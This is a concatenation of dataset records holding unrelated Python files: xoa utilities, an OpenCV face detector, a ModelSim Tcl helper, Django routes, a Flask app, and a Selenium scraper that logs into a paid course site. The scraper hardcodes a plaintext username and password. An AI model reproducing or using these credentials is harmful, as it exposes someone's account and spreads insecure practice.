@suppress\n from xoa.misc import get_axis_slices\n\n var = np.arange(2*5*4).reshape(2, 5, 4)\n pprint.pprint(get_axis_slices(var, axis=1))\n \"\"\"\n if not isinstance(ndim, int):\n ndim = np.ndim(ndim)\n sel = [slice(None)] * ndim\n selmid = list(sel)\n selmid[axis] = slice(1, -1)\n selmid = tuple(selmid)\n sellasts = list(sel)\n sellasts[axis] = slice(1, None)\n sellasts = tuple(sellasts)\n selfirsts = list(sel)\n selfirsts[axis] = slice(0, -1)\n selfirsts = tuple(selfirsts)\n sellastsp1 = list(sel)\n sellastsp1[axis] = slice(2, None)\n sellastsp1 = tuple(sellastsp1)\n selfirstsm1 = list(sel)\n selfirstsm1[axis] = slice(0, -2)\n selfirstsm1 = tuple(selfirstsm1)\n sellast = list(sel)\n sellast[axis] = -1\n sellast = tuple(sellast)\n selfirst = list(sel)\n selfirst[axis] = 0\n selfirst = tuple(selfirst)\n sellastm1 = list(sel)\n sellastm1[axis] = -2\n sellastm1 = tuple(sellastm1)\n sellastm2 = list(sel)\n sellastm2[axis] = -3\n sellastm2 = tuple(sellastm2)\n selfirstp1 = list(sel)\n selfirstp1[axis] = 1\n selfirstp1 = tuple(selfirstp1)\n selfirstp2 = list(sel)\n selfirstp2[axis] = 2\n selfirstp2 = tuple(selfirstp2)\n if kwargs:\n for key, val in kwargs.items():\n if isinstance(val, (list, tuple)):\n val = slice(*val)\n ksel = list(sel)\n ksel[axis] = val\n kwargs[key] = ksel\n return dict(\n all=sel,\n mid=selmid,\n lasts=sellasts,\n firsts=selfirsts,\n lastsp1=sellastsp1,\n firstsm1=selfirstsm1,\n last=sellast,\n first=selfirst,\n lastm1=sellastm1,\n firstp1=selfirstp1,\n lastm2=sellastm2,\n firstp2=selfirstp2,\n **kwargs,\n )\n\n\ndef is_iterable(obj, nostr=True, nogen=True):\n \"\"\"Check if an object is iterable or not\n\n Parameters\n ----------\n obj:\n Object to check\n\n Return\n ------\n bool\n \"\"\"\n\n if not nogen and isinstance(obj, types.GeneratorType):\n return True\n if not (hasattr(obj, \"__len__\") and callable(obj.__len__)):\n return False\n if nostr:\n return not isinstance(obj, str)\n return True\n\n\ndef dict_check_defaults(dd, **defaults):\n \"\"\"Check that a dictionary has some default values\n\n Parameters\n ----------\n dd: dict\n Dictionary to check\n **defs: dict\n Dictionary of default values\n\n Example\n -------\n .. ipython:: python\n\n @suppress\n from xoa.misc import dict_check_defaults\n\n dd = dict(color='blue')\n dict_check_defaults(dd, color='red', size=10)\n \"\"\"\n if defaults is None:\n defaults = {}\n for item in defaults.items():\n dd.setdefault(*item)\n return dd\n\n\ndef dict_filter(\n kwargs,\n filters,\n defaults=None,\n copy=False,\n short=False,\n keep=False,\n **kwadd,\n):\n \"\"\"Filter out kwargs (typically extra calling keywords)\n\n Parameters\n ----------\n kwargs:\n Dictionnary to filter.\n filters:\n Single or list of prefixes.\n defaults:\n dictionnary of default values for output fictionnary.\n copy:\n Simply copy items, do not remove them from kwargs.\n short:\n Allow prefixes to not end with ``\"_\"``.\n keep:\n Keep prefix filter in output keys.\n\n Example\n -------\n .. ipython:: python\n\n @suppress\n from xoa.misc import dict_filter\n kwargs = {'basemap':'f', 'basemap_fillcontinents':True, 'quiet':False,'basemap_plot':False}\n dict_filter(kwargs,'basemap', defaults=dict(drawcoastlines=True,plot=True), good=True)\n kwargs\n\n Return\n ------\n dict\n \"\"\"\n\n if isinstance(filters, str):\n filters = [filters]\n if copy:\n kwread = kwargs.get\n else:\n kwread = kwargs.pop\n\n # Set initial items\n kwout = {}\n for filter_ in filters:\n if not filter_.endswith(\"_\") and filter_ in kwargs:\n if isinstance(kwargs[filter_], dict):\n kwout.update(kwread(filter_))\n else:\n kwout[filter_] = kwread(filter_)\n if not short and not filter_.endswith(\"_\"):\n filter_ += \"_\"\n for att, val in list(kwargs.items()):\n if att.startswith(filter_) and att != filter_:\n if keep:\n kwout[att] = kwread(att)\n else:\n kwout[att[len(filter_) :]] = kwread(att)\n\n # Add some items\n kwout.update(kwadd)\n\n # Set some default values\n if defaults is not None:\n for att, val in defaults.items():\n kwout.setdefault(att, val)\n return kwout\n\n\ndef dict_merge(\n *dd,\n mergesubdicts=True,\n mergelists=False,\n mergetuples=False,\n uniquify=False,\n skipnones=True,\n overwriteempty=False,\n cls=None,\n **kwargs,\n):\n \"\"\"Merge dictionaries\n\n First dictionaries have priority over next\n\n Parameters\n ----------\n dd:\n Argument are interpreted as dictionary to merge.\n Those who are not dictionaries are skipped.\n mergesubdicts: optional\n Also merge dictionary items\n (like in a tree).\n mergetuples: optional\n Also merge tuple items.\n mergelists: optional\n Also merge list items.\n uniquify: optional\n Uniquify lists and tuples.\n skipnones: optional\n Skip Nones.\n overwriteempty: optional\n Overwrite value that does are not True when converted to bool.\n cls: optional\n Class to use. Default to the first class found in arguments\n that is not a :class:`dict`, else defaults to :class:`dict`.\n\n Example\n -------\n .. ipython:: python\n\n @suppress\n from xoa.misc import dict_merge\n d1 = dict(a=3, b=5, e=[1, 2])\n d2 = dict(a=5, c=7, e=[3, 4])\n print(dict_merge(d1, d2, mergelists=True))\n\n \"\"\"\n # Options\n dd = [_f for _f in dd if _f]\n\n # Get the class\n if cls is None:\n cls = dict\n for d in dd:\n if d.__class__ is not dict:\n cls = d.__class__\n break\n\n # Init\n from configobj import Section, ConfigObj\n\n if cls is Section:\n for d in dd:\n if isinstance(d, Section):\n break\n else:\n raise XoaError(\"Can't initialise Section for merging\")\n outd = Section(d.parent, d.depth, d.main, name=d.name)\n else:\n outd = cls()\n kwargs.update(\n mergesubdicts=mergesubdicts,\n mergelists=mergelists,\n mergetuples=mergetuples,\n uniquify=uniquify,\n skipnones=skipnones,\n overwriteempty=overwriteempty,\n cls=cls,\n )\n\n # Loop\n for d in dd:\n if not isinstance(d, dict):\n continue\n\n # Content\n for key, val in d.items():\n if skipnones and val is None:\n continue\n\n # Not set so we set\n if key not in outd or (overwriteempty and is_empty(outd[key])):\n outd[key] = val\n\n # Merge subdict\n elif mergesubdicts and isinstance(outd[key], dict) and isinstance(val, dict):\n outd[key] = dict_merge(outd[key], val, **kwargs)\n\n # Merge lists\n elif mergelists and isinstance(outd[key], list) and isinstance(val, list):\n outd[key] += val\n if uniquify:\n outd[key] = gunique(list(outd[key]))\n\n # Merge tuples\n elif mergetuples and isinstance(outd[key], tuple) and isinstance(val, tuple):\n outd[key] += val\n if uniquify:\n outd[key] = tuple(gunique(outd[key]))\n\n # Comments for ConfigObj instances\n if cls is ConfigObj:\n if not outd.initial_comment and hasattr(d, \"initial_comment\"):\n outd.initial_comment = d.initial_comment\n if not outd.final_comment and hasattr(d, \"final_comment\"):\n outd.final_comment = d.final_comment\n if hasattr(d, \"inline_comments\") and d.inline_comments:\n outd.inline_comments = dict_merge(\n outd.inline_comments, d.inline_comments, overwriteempty=True\n )\n\n return outd\n\n\ndef is_empty(x):\n \"\"\"Check if empty\"\"\"\n if isinstance(x, bool):\n return False\n try:\n return not bool(x)\n except Exception:\n return False\n\n\ndef match_string(ss, checks, ignorecase=True, transform=None):\n \"\"\"Check that a string verify a check list that consists of\n a list of either strings or callables\n\n Parameters\n ----------\n ss: str\n checks: str, callable, list of {str or callable}\n ignorecase: bool\n transform: callable\n\n Example\n -------\n .. ipython:: python\n\n @suppress\n from xoa.misc import match_string\n import re\n match_string('sst', 'sst')\n match_string('sst', [re.compile(r'ss.$').match])\n\n Return\n ------\n True\n \"\"\"\n # Nothing\n if not ss or not checks:\n return False\n\n # Setup\n ss = ss.strip()\n if ignorecase:\n ss = ss.lower()\n if not is_iterable(checks, nogen=False):\n checks = [checks]\n checks = [x for x in checks if x is not None]\n\n # Callables\n sss = []\n for check in checks:\n if callable(transform) and not callable(check):\n check = transform(check)\n if callable(check) and check(ss):\n return True\n if isinstance(check, str):\n sss.append(check)\n\n # Strings\n sss = [s.strip() for s in sss]\n if ignorecase:\n sss = [s.lower() for s in sss]\n return ss in sss\n\n\ndef match_attrs(obj, checks, ignorecase=True, transform=None):\n \"\"\"Check that at least one of the attributes matches check list\n\n Parameters\n ----------\n obj: object\n checks: dict\n A dictionary of (attribute name, checklist), checklist being an\n iterable as accepted by :func:`match_string`.\n \"\"\"\n if obj is None or checks is None:\n return False\n for attname, attchecks in checks.items():\n if hasattr(obj, attname) and match_string(\n getattr(obj, attname),\n attchecks,\n ignorecase=ignorecase,\n transform=transform,\n ):\n return True\n return False\n\n\ndef gunique(seq):\n \"\"\"Create a generator that yields unique item whlist presrving the order\n\n Parameters\n ----------\n seq: sequence\n\n Yields\n ------\n item\n\n Example\n -------\n .. ipython:: python\n\n @suppress\n from xoa.misc import gunique\n print(list(gunique([1, 6, 1, 8])))\n \"\"\"\n seen = set()\n seen_add = seen.add\n for x in seq:\n if not (x in seen or seen_add(x)):\n yield x\n\n\nclass ArgList(object):\n \"\"\"Utility to always manage arguments as list and return results as input\n\n Examples\n --------\n .. ipython:: python\n\n @suppress\n from xoa.misc import ArgList\n\n # Scalar\n a = 'a'\n al = ArgList(a)\n al.get() # input for function as tuple\n al.put(['aa']) # output as input\n\n # Iterable\n a = ('a','b')\n al = ArgList(a)\n al.get()\n al.put(['aa'])\n\n \"\"\"\n\n def __init__(self, argsi):\n self.single = not isinstance(argsi, list)\n self.argsi = argsi\n\n def get(self):\n return [self.argsi] if self.single else self.argsi\n\n def put(self, argso):\n so = not isinstance(argso, list)\n if (so and self.single) or (not so and not self.single):\n return argso\n if so and not self.single:\n return [argso]\n return argso[0]\n\n\nclass ArgTuple(object):\n \"\"\"Utility to always manage arguments as tuple and return results as input\n\n Examples\n --------\n .. ipython:: python\n\n @suppress\n from xoa.misc import ArgTuple\n\n # Scalar\n a = 'a'\n al = ArgTuple(a)\n al.get() # input for function as tuple\n al.put(('aa',)) # output as input\n\n # Iterable\n a = ('a','b')\n al = ArgTuple(a)\n al.get()\n al.put(('aa',))\n\n \"\"\"\n\n def __init__(self, argsi):\n self.single = not isinstance(argsi, tuple)\n self.argsi = argsi\n\n def get(self):\n return (self.argsi,) if self.single else self.argsi\n\n def put(self, argso):\n so = not isinstance(argso, tuple)\n if (so and self.single) or (not so and not self.single):\n return argso\n if so and not self.single:\n return (argso,)\n return argso[0]\n","sub_path":"xoa/misc.py","file_name":"misc.py","file_ext":"py","file_size_in_byte":21585,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"123166509","text":"from entity import *\nfrom tools import *\n\nclass DummyEntity(Entity):\n def __init__(self):\n self.settingsManager = SettingsManager.getInstance()\n self.settingsManager.log(\n 0,\n 'Using internal constructor to initialize Entity',\n self.getName()\n )\n self.dummyProperty = None\n\n def initialize(self):\n self.settingsManager.log(\n 0,\n 'Using initialize() method to initialize Entity Properties',\n self.getName()\n )\n if self.dummyProperty == None:\n self.dummyProperty = True\n self.settingsManager.log(\n 0,\n 'Successfully Initialized Entity properties',\n self.getName()\n )\n def getDummy(self):\n self.settingsManager.log(\n 1,\n 'Started getDummy() method',\n self.getName()\n )\n dummy = self.dummyProperty\n self.settingsManager.log(\n 1,\n 'Successfully fetched dummyProperty',\n self.getName()\n )\n return dummy\n\nmng = EntityManager.getInstance()\nmng.registerEntity(DummyEntity())\n","sub_path":"test.py","file_name":"test.py","file_ext":"py","file_size_in_byte":1156,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"169898520","text":"import cv2\n\ncascade_path = \"haarcascade_frontalface_default.xml\"\ncascade = cv2.CascadeClassifier(cascade_path)\n\ncap = cv2.VideoCapture(\"girl.mp4\")\n\nwhile True:\n ret, img = cap.read()\n if not ret:\n cap.set(cv2.CAP_PROP_POS_FRAMES, 0)\n continue\n\n gray_img = cv2.cvtColor(img, cv2.COLOR_BGR2GRAY)\n faces = cascade.detectMultiScale(\n gray_img, scaleFactor=1.3, minNeighbors=2, minSize=(50, 50))\n\n for x, y, w, h in faces:\n cv2.rectangle(img, (x, y), (x + w, y + h), (255, 0, 0), thickness=2)\n\n cv2.imshow(\"movie\", img)\n key = cv2.waitKey(1)\n if key == 27:\n break\n\ncap.release()\ncv2.destroyAllWindows()\n","sub_path":"face_detection7_1.py","file_name":"face_detection7_1.py","file_ext":"py","file_size_in_byte":657,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"218526185","text":"#!/usr/bin/python\n\nimport os, sys, re, shutil, subprocess\n\n# parse tcl\n# vlog\nvlogRe = r'^\\s+vlog(\\w|\\W)+QSYS_SIMDIR(\\w|\\W)+'\nvlibRe = r'^\\s+vlog(\\w|\\W)+QUARTUS_INSTALL_DIR(\\w|\\W)+'\n\ndef parseSetupTcl(tcl):\n if not os.path.exists(tcl):\n return\n f = open(tcl)\n for line in f:\n m = re.match(vlogRe, line)\n if m:\n match = m.group(0)\n #print match\n vlog_cmd = match.strip().replace(\"$QSYS_SIMDIR\", \"%s\") % sys.argv[2]\n rc = subprocess.call(vlog_cmd, shell=True)\n\n n = re.match(vlibRe, line.split(\"-work\")[0])\n if n:\n match = n.group(0)\n #print \"QUARTUS_INSTALL_DIR\", match\n vlib_cmd = match.strip().replace(\"$QUARTUS_INSTALL_DIR\", \"%s\") % sys.argv[3]\n rc = subprocess.call(vlib_cmd, shell=True)\n\nif __name__ == \"__main__\":\n parseSetupTcl(sys.argv[1])\n","sub_path":"scripts/source_msim_setup.py","file_name":"source_msim_setup.py","file_ext":"py","file_size_in_byte":882,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"378197915","text":"import os\nfrom selenium import webdriver\nfrom selenium.common.exceptions import NoSuchAttributeException\nfrom selenium.webdriver.common.keys import Keys\nimport sys\nimport time\nimport json\nfrom pprint import pprint\nimport time\n# -------folderPath初始設定--------\nfolderPath = sys.path[0] # 獲得目前執行的py檔案目錄\nfolderParentPath = os.path.dirname(folderPath)\n# -------設定webdriver--------\nchrome_path = folderParentPath + \\\n r'\\chromedriver_win32\\chromedriver.exe' # 執行檔所存在的路徑\n# 跳脫字元排除 r:\n# https://mugglecoding.gitbooks.io/qa/content/xie_lu_jing_wen_ti.html\ndriver = webdriver.Chrome(chrome_path)\nflag = True # 標記是否為第一個網頁\n#--------------獲得列表初稿-----------------\nfolderPath = sys.path[0] # 獲得目前執行的py檔案目錄\npath = folderPath + r'\\preList.json' # 獲得JOSN路徑\nlessonList = json.load(open(path, 'r', encoding=\"utf8\"))\nuniqueA = [\"課程介紹\", \"HTML/CSS快速入門\", \"JavaScript程式基礎\", \"動態網頁Workflow概覽\",\n \"Canvas與特效動畫\", \"Vue.js前端資料框架\", \"Canvas / Vue.js 與 遊戲結合\", \"加碼達標系列\", \"課程總結\"]\n\n\ndef creat_JSON_file_UTF8(filePath, obj):\n\n with open(filePath, 'w', encoding='utf8') as json_file: # 開一個utf8格式空白檔案 使用後關閉\n data = json.dumps(obj, ensure_ascii=False) # 將物件轉JOSN 字串\n # unicode(data) auto-decodes data to unicode if str\n json_file.write(data) # 寫入資料\n\n# -------開啟網頁--------\n\n\ndef logInWeb(webUrl):\n driver.get(webUrl)\n # driver.maximize_window() # 要全螢幕 不然被藏起來 就觸發不到了 似乎是以滑鼠位置模擬按鍵動作\n # -------登入--------\n email = driver.find_elements_by_name('username')[0]\n password = driver.find_elements_by_name('password')[0]\n enter = driver.find_elements_by_css_selector(\n 'body > div.root.ng-scope > div.tab-block.auth.ng-scope > div > div > div.auth-form.pad-b-60 > form > button')[0]\n email.send_keys(\"someshout\")\n password.send_keys(\"bd19870430\")\n enter.click()\n # -------獲取新內容--------\n\n\nlistElment = \"\"\n\n\ndef startWeb(webUrl):\n driver.get(webUrl)\n time.sleep(1.5)\n listElment = driver.find_elements_by_css_selector('.title')\n\n for idx, val in enumerate(lessonList): # -------主流程--------\n for idx2, val2 in enumerate(val[\"ep\"]):\n elId = val2[\"id\"]\n # if elId > 5:\n # creat_JSON_file_UTF8(path.replace(\n # 'preList', 'DoneList'), lessonList)\n # sys.exit() # 停止程式\n listElment[elId].click()\n #----------Vedio---------\n time.sleep(1.5)\n videos = driver.find_elements_by_css_selector('source')\n if len(videos) > 0:\n videoTemp = []\n for video in videos:\n src = video.get_attribute(\"src\")\n res = video.get_attribute(\"res\")\n videoTemp.append({'src': src, 'res': int(res)})\n lessonList[idx][\"ep\"][idx2][\"video\"] = sorted(\n videoTemp, key=lambda k: k['res']) # sorted(videoTemp.items(), key = operator.itemgetter(1)) #\n # print(lessonList[idx][\"ep\"][idx2])\n #----------講義---------\n span = listElment[elId].find_elements_by_css_selector('span')\n if span != []:\n span[0].click()\n time.sleep(1)\n\n tab = driver.find_elements_by_css_selector(\n '.tab-block>.description')\n if len(tab) > 0:\n tabContent = tab[0].get_attribute('innerHTML')\n lessonList[idx][\"ep\"][idx2][\"desc\"] = tabContent\n creat_JSON_file_UTF8(path.replace(\n 'preList', 'DoneList'), lessonList)\n close = driver.find_elements_by_css_selector(\n '.btn-close')[0]\n close.click()\n time.sleep(1)\n creat_JSON_file_UTF8(path.replace('preList', 'DoneList'), lessonList)\n\n\nlessonData = []\n\n\ndef redictWeb(webUrl): # -------轉址--------\n eps = driver.find_elements_by_css_selector(\n 'hh-course-video-playlist > ol > li')\n for ep in eps:\n # span = ep.find_elements_by_css_selector('.assets')\n # if span != []:\n # span[0].click()\n # time.sleep(0.5)\n # tab = driver.find_elements_by_css_selector(\n # 'div.course-material.tab-block.only-description > div')[0]\n # title = tab.find_elements_by_css_selector('h4')[0].text\n # p = tab.find_elements_by_css_selector('p')\n # print(title)\n # else:\n # selenium2.0报错:stale element reference: element is not attached to the page document的解决办法\n # http://blog.csdn.net/ulebo/article/details/52128033\n time.sleep(3)\n title = ep.find_elements_by_css_selector('.title')[0]\n title.click()\n\n titleText = ''\n try:\n titleText = ep.text\n except:\n titleText = '作業'\n epUrl = driver.current_url\n videos = driver.find_elements_by_css_selector('source')\n if len(videos) > 0:\n videoTemp = []\n for video in videos:\n src = video.get_attribute(\"src\")\n res = video.get_attribute(\"res\")\n videoTemp.append({'src': src, 'res': res})\n lessonData.append(\n {'title': titleText, 'url': epUrl, 'file': videoTemp})\n print(ep)\n print(lessonData)\n","sub_path":"Python課程/爬蟲/動畫互動網頁特效入門(JS-CANVAS)下載/獲取內容 Bk.py","file_name":"獲取內容 Bk.py","file_ext":"py","file_size_in_byte":5654,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"615151226","text":"import numpy as np\nimport re\n\npath = \"C:/Users/em165153/Documents/JESTER/MNI_by_5 experiments/MNI_by_5_p3_pb3_no_fovea/\"\nfilename = \"Result\"\n\nresult = np.zeros((30, 36))\nlif = -1\nrun = 0\nmode = True # True = cross-validation, False = test\n\n# with open(path + \"Result.txt\", \"r\") as file:\nwith open(path + filename + \".txt\", \"r\") as file:\n for line in file:\n if re.match(\"lif\", line):\n lif += 1\n if re.match(\"Run\", line):\n run = int(line.strip()[3:]) - 1\n if re.match(\"Cross-validation\", line):\n mode = True\n if re.match(\"Test\", line):\n mode = False\n if re.match(\"Accuracy\", line):\n if mode:\n result[run, lif] = float(line.strip()[10:])\n else:\n result[run, lif+18] = float(line.strip()[10:])\n\nprint(np.max(result))\nnp.savetxt(path + filename + \".csv\", result, fmt='%1.8f', delimiter=',')\n","sub_path":"gesture_recognition/convert_results_list_to_csv_table.py","file_name":"convert_results_list_to_csv_table.py","file_ext":"py","file_size_in_byte":921,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"553513743","text":"from Util import convert_board\n\nclass Game(object):\n \n def __init__(self):\n self.plays = [['Game','1.X','1.O','2.X','2.O','3.X','3.O','4.X','4.O','5.X','5.O','6.X','6.O','7.X','7.O','8.X','8.O','9.X','9.O','1.Y','2.Y','3.Y','4.Y','5.Y','6.Y','7.Y','8.Y','9.Y']]\n \n def auto_game(self, board, player1, player2, game):\n board.clear()\n while True:\n if board.check_win() != '-':\n break\n for player in [player1, player2]:\n if board.check_win() == '-':\n play = player.play(board)\n dummy_board = [0,0,0,0,0,0,0,0,0]\n dummy_board[play] = 1\n self.plays += [[game] + convert_board(board.board) + dummy_board + [player.player]]\n board.move(player, play)\n else:\n break\n print(board)\n print(board.check_win())","sub_path":"Game.py","file_name":"Game.py","file_ext":"py","file_size_in_byte":924,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"16760651","text":"lista = ['fabio','julio', 'luz']\n\n#verifica se fabio contem na lista\n'fabio' in lista\n\n#verifica a posicao do elemento\nlista.index('fabio')\n\n#primeiro elemento da lista\nlista[0]\n\n#primeiro e o segundo\nlista[0:2]\n\n#inserir elemento\nlista.append(\"fabio julio\")\n\n#remover elemento\nlista.remove\n\n#retorna o tamanho da lista\nlen([1,2,3])\n\n\n","sub_path":"lista.py","file_name":"lista.py","file_ext":"py","file_size_in_byte":335,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"201960415","text":"\"\"\"public_components URL Configuration\r\n\r\nThe `urlpatterns` list routes URLs to views. For more information please see:\r\n https://docs.djangoproject.com/en/1.11/topics/http/urls/\r\nExamples:\r\nFunction views\r\n 1. Add an import: from my_app import views\r\n 2. Add a URL to urlpatterns: url(r'^$', views.home, name='home')\r\nClass-based views\r\n 1. Add an import: from other_app.views import Home\r\n 2. Add a URL to urlpatterns: url(r'^$', Home.as_view(), name='home')\r\nIncluding another URLconf\r\n 1. Import the include() function: from django.conf.urls import url, include\r\n 2. Add a URL to urlpatterns: url(r'^blog/', include('blog.urls'))\r\n\"\"\"\r\nfrom django.conf.urls import url\r\nfrom django.contrib import admin\r\nfrom app import views\r\n\r\nurlpatterns = [\r\n url(r'^admin/', admin.site.urls),\r\n url(r'^CreateNginxConfig/', views.CreateNginxConfig),\r\n url(r'^CreateLvsConfig/', views.CreateLvsConfig),\r\n url(r'^CreateDnsConfig/', views.CreateDnsConfig),\r\n url(r'^CreateHosts/', views.Create_Hosts),\r\n url(r'^CreatePlayBook/', views.Create_PlayBook),\r\n url(r'^EditHosts/', views.Edit_Hosts),\r\n url(r'^NginxConfigList/', views.NginxConfigList),\r\n url(r'^DnsConfigList/', views.DnsConfigList),\r\n url(r'^LvsConfigList/', views.LvsConfigList),\r\n url(r'^PlayBookList/', views.PlayBookList),\r\n url(r'^get_nginx_conf/', views.get_nginx_conf),\r\n url(r'^edit_nginx_conf/', views.edit_nginx_conf),\r\n url(r'^edit_dns_conf/', views.edit_dns_conf),\r\n url(r'^edit_lvs_conf/', views.edit_lvs_conf),\r\n url(r'^edit_playbook_conf/', views.edit_playbook_conf),\r\n url(r'^index/', views.index),\r\n url(r'^form_layout/', views.form_layout),\r\n url(r'^form_component/', views.form_component),\r\n url(r'^form_wizard/', views.form_wizard),\r\n url(r'^form_validation/', views.form_validation),\r\n url(r'^dropzone/', views.dropzone),\r\n url(r'^editable_table/', views.editable_table),\r\n url(r'^basic_table/', views.basic_table),\r\n url(r'^dynamic_table/', views.dynamic_table),\r\n # url(r'^Execute_ansible_cmd/', views.Execute_ansible_cmd),\r\n url(r'^Revoke_ansibel_cmd/', views.Revoke_ansibel_cmd),\r\n url(r'^Create_Ansible_Hosts/', views.Create_Ansible_Hosts),\r\n url(r'^get_log/', views.get_log),\r\n # url(r'^get_test/', views.get_test),\r\n # url(r'^get_dns/', views.get_dns),\r\n # url(r'^get_lvs/', views.get_lvs),\r\n url(r'^test/', views.test),\r\n url(r'^test1/', views.test1),\r\n url(r'^MissionCommit/', views.MissionCommit),\r\n url(r'^NginxMissionCommit/', views.NginxMissionCommit),\r\n url(r'^DnsMissionCommit/', views.DnsMissionCommit),\r\n url(r'^LvsMissionCommit/', views.LvsMissionCommit),\r\n url(r'^nginx_edit/', views.nginx_edit),\r\n url(r'^dns_edit/', views.dns_edit),\r\n url(r'^lvs_edit/', views.lvs_edit),\r\n url(r'^playbook_edit/', views.playbook_edit),\r\n url(r'^dns_replace/passport/update', views.local_dns_replace),\r\n \r\n]\r\n","sub_path":"public_components/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":2940,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"15357167","text":"from datetime import datetime\nfrom app import db\nfrom flask import render_template, url_for, redirect, flash, request, jsonify, current_app\nfrom flask_login import current_user, login_required\nfrom app.main import bp\nfrom app.models import User, Location, Artist, Show, Porch, Porchfest, Genre, Track\nfrom app.main.forms import EditProfileForm, CreateArtistForm, EditArtistForm, UploadTrackForm, AddArtistMemberForm,\\\n FindAPorchfestForm\nfrom werkzeug.utils import secure_filename\nfrom selenium import webdriver\nimport boto3\n\n\n# Adds a user to a band\n# user is of type User\n# artist is of type Artist\ndef add_member(user, artist):\n user.member_of.append(artist) # Add artist to list of bands that user is part of\n artist.members.append(user) # Add user to list of members of a band\n user.save(cascade=True)\n artist.save(cascade=True)\n\n\n# Removes a user from a band\n# user is of type User\n# artist is of type Artist\ndef remove_member(user, artist):\n user.member_of.remove(artist) # Remove artist from list of bands that user is part of\n artist.members.remove(user) # Remove user from list of members of a band\n user.save(cascade=True)\n artist.save(cascade=True)\n\n\n# Adds artist to user's follows list\n# user is of type User\n# artist is of type Artist\ndef follow_band(user, artist):\n user.follows.append(artist) # Add artist to list of bands that user follows\n artist.followers.append(user) # Adds user to artist's list of followers\n user.save(cascade=True)\n artist.save(cascade=True)\n\n\n# Allows user to unfollow artist\n# user is of type User\n# artist is of type Artist\ndef unfollow_band(user, artist):\n user.follows.remove(artist) # Remove artist from list of bands that user follows\n artist.followers.remove(user) # Remove user from artist's list of followers\n user.save(cascade=True)\n artist.save(cascade=True)\n\n\ndef add_objects():\n times = [\n datetime(2019, 6, 26, 9, 0, 0), # start for porchfests\n datetime(2019, 6, 26, 17, 0, 0), # end for porchfests\n datetime(2019, 6, 26, 12, 0, 0), # first show end time\n datetime(2019, 6, 26, 15, 0, 0) # second show end time\n ]\n default_users = [\n User(username='ithaca1', email='ithaca1@email.com', name='Ithaca One', member_of=[], follows=[]),\n User(username='ithaca2', email='ithaca2@email.com', name='Ithaca Two', member_of=[], follows=[]),\n User(username='ithaca3', email='ithaca3@email.com', name='Ithaca Three', member_of=[], follows=[]),\n User(username='albany1', email='albany1@email.com', name='Albany One', member_of=[], follows=[])\n ]\n for user in default_users:\n user.set_password('default')\n user.save(cascade=True)\n default_locations = [\n Location(city='Ithaca', state='NY', zip_code='14850'),\n Location(city='Albany', state='NY', zip_code='12203'),\n ]\n for location in default_locations:\n location.save(cascade=True)\n default_porches = [\n Porch(name='Ithaca Porch 1', email='ithacaPorch1@email.com', address='953 Danby Rd',\n location=Location.objects(city='Ithaca', state='NY').first(), time_slots=[times[2], times[3]]),\n Porch(name='Ithaca Porch 2', email='ithacaPorch2@email.com', address='123 Ithaca Rd',\n location=Location.objects(city='Ithaca', state='NY').first(), time_slots=[times[0], times[1], times[3]]),\n Porch(name='Albany Porch 1', email='albanyPorch1@email.com', address='1200 Western Ave',\n location=Location.objects(city='Albany', state='NY').first(), time_slots=[times[0], times[1], times[2], times[3]])\n ]\n for porch in default_porches:\n porch.save(cascade=True)\n default_artists = [\n Artist(name='Artist 1', description='artist 1 desc',\n location=Location.objects(city='Ithaca', state='NY').first()),\n Artist(name='Artist 2', description='artist 2 desc',\n location=Location.objects(city='Ithaca', state='NY').first()),\n Artist(name='Artist 3', description='artist 3 desc',\n location=Location.objects(city='Albany', state='NY').first())\n ]\n for artist in default_artists:\n artist.save(cascade=True)\n default_shows = [\n Show(artist=Artist.objects(name='Artist 1').first(), porch=Porch.objects(name='Ithaca Porch 1').first(),\n start_time=times[0], end_time=times[2]),\n Show(artist=Artist.objects(name='Artist 2').first(), porch=Porch.objects(name='Ithaca Porch 2').first(),\n start_time=times[2], end_time=times[3]),\n Show(artist=Artist.objects(name='Artist 3').first(), porch=Porch.objects(name='Albany Porch 1').first(),\n start_time=times[0], end_time=times[2])\n ]\n for show in default_shows:\n show.save(cascade=True)\n default_porchfests = [\n Porchfest(location=Location.objects(city='Ithaca', state='NY').first(), start_time=times[0], end_time=times[1],\n porches=[Porch.objects(name='Ithaca Porch 1').first(), Porch.objects(name='Ithaca Porch 2').first()],\n shows=[Show.objects(artist=Artist.objects(name='Artist 1').first()).first(),\n Show.objects(porch=Porch.objects(name='Ithaca Porch 2').first()).first()]),\n Porchfest(location=Location.objects(city='Albany', state='NY').first(), start_time=times[0], end_time=times[1],\n porches=[Porch.objects(name='Albany Porch 1').first()],\n shows=[Show.objects(artist=Artist.objects(name='Artist 3').first()).first()])\n ]\n for porchfest in default_porchfests:\n porchfest.save(cascade=True)\n\n\ndef make_default_user_connections(): # Used in reset_db() MUST CALL ADD_OBJECTS FIRST!!!\n user1 = User.objects(username='ithaca1').first()\n user2 = User.objects(username='ithaca2').first()\n user3 = User.objects(username='albany1').first()\n albany_artist = Artist.objects(name='Artist 3').first()\n artist1 = Artist.objects(name='Artist 1').first()\n add_member(user1, artist1)\n add_member(user3, albany_artist)\n follow_band(user2, artist1)\n\n\ndef scrape_genres(url):\n browser = webdriver.Chrome()\n browser.get(url)\n genres = []\n genres_divs = browser.find_elements_by_class_name('hFvVJe')\n for column in genres_divs:\n genre_links = column.find_elements_by_tag_name('a')\n for genre_link in genre_links:\n genres.append(genre_link.text)\n browser.quit()\n return genres\n\n\ndef get_genres(): # Used in reset_db() to get genres using a google search\n genre_list = scrape_genres('https://www.google.com/search?q=music+genres&rlz=1C5CHFA_enUS738US738&oq=music+' +\n 